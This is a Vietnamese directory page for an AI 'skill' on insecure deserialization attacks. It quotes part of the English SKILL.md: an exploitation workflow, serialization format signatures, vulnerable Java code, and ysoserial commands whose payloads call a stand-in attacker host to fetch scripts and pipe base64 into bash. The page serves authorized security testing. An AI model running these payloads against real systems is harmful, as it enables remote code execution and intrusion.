Chuyển đến nội dung
Skillpedia
Bảo mật10k · #11976

offensive-deserialization

Skill này làm gì

Skill này giải thích các lỗi giải tuần tự hóa không an toàn, khi một ứng dụng dựng lại đối tượng từ dữ liệu không đáng tin. Nó bao quát cách nhận ra các điểm vào rủi ro trong các ngôn ngữ phổ biến. Nó dành cho chuyên gia bảo mật kiểm thử ứng dụng khi có sự cho phép.

Khi nào nên dùng

  • ✓Khi một bài kiểm thử được ủy quyền cho thấy ứng dụng chấp nhận dữ liệu đã tuần tự hóa trong cookie, yêu cầu hoặc thông điệp.
  • ✓Khi bạn muốn xác định ngôn ngữ và định dạng dùng cho đối tượng tuần tự hóa trong một ứng dụng.
  • ✓Khi bạn cần giải thích cho lập trình viên về rủi ro của giải tuần tự hóa không an toàn.

Liên kết skill

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/web/offensive-deserialization/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/web/offensive-deserialization/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Chúng tôi được ủy quyền kiểm thử ứng dụng Java của mình. Tìm chỗ nó giải tuần tự hóa dữ liệu từ người dùng và giải thích rủi ro.”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Skill tìm mọi điểm vào chấp nhận dữ liệu tuần tự hóa, xác định định dạng và ngôn ngữ của nó, rồi đánh giá rủi ro. Nó bắt đầu bằng một bằng chứng thực thi vô hại và ghi lại toàn bộ chuỗi.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

Offensive Deserialization

Deserialization vulnerabilities arise when an application reconstructs objects from serialized byte streams without validating the type, integrity, or origin of the data. Object reconstruction triggers constructors, finalizers, and language-specific magic methods, so an attacker who controls the serialized input often achieves remote code execution before any application-level validation runs.

Quick Workflow

  1. Enumerate every entry point accepting opaque binary or encoded data -- cookies, HTTP bodies, headers, message queue messages, file uploads, GraphQL custom scalars, gRPC fields, JMX/RMI endpoints.
  2. Fingerprint the serialization format via magic bytes, content-type headers, and error behavior (see Recognition Signatures).
  3. Determine the server-side language and framework version from error pages, HTTP headers, or source code.
  4. Select candidate gadget chains matching the target classpath or installed packages. Generate payloads with ysoserial, phpggc, ysoserial.net, or manual construction.
  5. Deliver through the identified entry point. Start with DNS-only or sleep-based proof to confirm execution without destructive side effects.
  6. Escalate from proof-of-concept to the engagement objective with authorization.
  7. Document the full chain: entry point, format, gadget chain, library versions, proof.

Recognition Signatures

Format Signature Notes
Java ObjectInputStream Hex ac ed 00 05, Base64 rO0AB Cookies, POST bodies, JMX/RMI streams
PHP serialize O:<len>:"ClassName": or a:<count>:{ Frequently Base64-wrapped in cookies
.NET BinaryFormatter Base64 AAEAAAD///// ViewState, remoting, session state
Python pickle Opcodes \x80\x04\x95 (v4+), older (dp0 text Redis caches, Celery tasks, ML pipelines
Ruby Marshal \x04\x08 leading bytes Session cookies in older Rails apps
YAML (any lang) --- !ruby/object: or !!python/object/apply: Tag-based instantiation
Java XMLDecoder <?xml with <java> or <object class= Legacy Java admin panels
.NET Json.NET "$type": key in JSON TypeNameHandling != None
Java Jackson ["class.name", { JSON array wrapper enableDefaultTyping / polymorphic handling

Java Deserialization

ObjectInputStream.readObject() instantiates arbitrary classes present on the classpath. Decades of library code provide usable gadget chains.

Identifying Sinks

// Direct ObjectInputStream usage
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();

// XMLDecoder -- equally dangerous, often overlooked
XMLDecoder decoder = new XMLDecoder(inputStream);
Object obj = decoder.readObject();

// XStream without allowlist
XStream xstream = new XStream();
Object obj = xstream.fromXML(userInput);

// Jackson polymorphic typing -- CVE-2017-7525 and successors
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();

// Jackson @JsonTypeInfo on base class
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
public abstract class BaseCommand { }

// JMX/RMI endpoints -- default port 1099, often unauthenticated

serialVersionUID and Classpath Constraints

Every serializable Java class carries a serialVersionUID. A mismatch causes InvalidClassException before any gadget logic executes. Extract the server's UID from error messages or decompiled JARs, then rebuild the payload with ysoserial's source. The UID often changes only on major releases, so brute-forcing common versions is feasible when the exact version is unknown.

ysoserial Gadget Chains

Match the chain to libraries present on the target classpath.

# CommonsCollections -- most widely applicable
# CC1: commons-collections 3.1, JDK < 8u72
java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/cb' > payload.bin
# CC5: later JDK versions where CC1 is patched
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.com/cb' > payload.bin
# CC7: Hashtable entry point, bypasses some ObjectInputFilter rules
java -jar ysoserial.jar CommonsCollections7 'id > /tmp/proof.txt' > payload.bin

# Spring chain -- requires spring-core + spring-beans
java -jar ysoserial.jar Spring1 'wget http://attacker.com/s.sh -O /tmp/s.sh' > payload.bin
# Hibernate chain -- requires hibernate-core
java -jar ysoserial.jar Hibernate1 'bash -c {echo,BASE64}|{base64,-d}|bash' > payload.bin
# CommonsBeanutils -- present in ma
Câu hỏi thường gặp

Nó chỉ bao quát một ngôn ngữ thôi à?

Không. Nó bao quát Java, PHP, .NET, Python, Node.js và Ruby.

Nó có dùng bằng chứng gây hại không?

Skill bắt đầu bằng một bằng chứng không phá hoại, chẳng hạn kiểm tra chỉ qua DNS, trước khi thực hiện các bước tiếp theo.

Đây có chỉ dành cho kiểm thử được ủy quyền không?

Có. Skill được viết cho việc kiểm thử có văn bản cho phép.

Chi tiết

Mô tả gốc của tác giả

Insecure deserialization exploitation across Java, PHP, .NET, Python, Node.js, and Ruby. Covers gadget chain construction with ysoserial/phpggc/ysoserial.net, ObjectInputStream and BinaryFormatter sink identification, pickle __reduce__ RCE, phar:// wrapper abuse, Jackson polymorphic typing, Json.NET TypeNameHandling, ViewState tampering, node-serialize IIFE injection, Ruby Marshal.load and YAML.load gadgets, framework-specific chains for Spring/Hibernate/Laravel/Symfony, modern attack surfaces including Kubernetes admission webhooks and message queue consumers, WAF bypass through encoding laye

repo: SnailSploit/Claude-Red

Độ phổ biến

Sao GitHub
10k
Vị trí xếp hạng
#11976
Giấy phép
MIT
Cập nhật
12/10/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự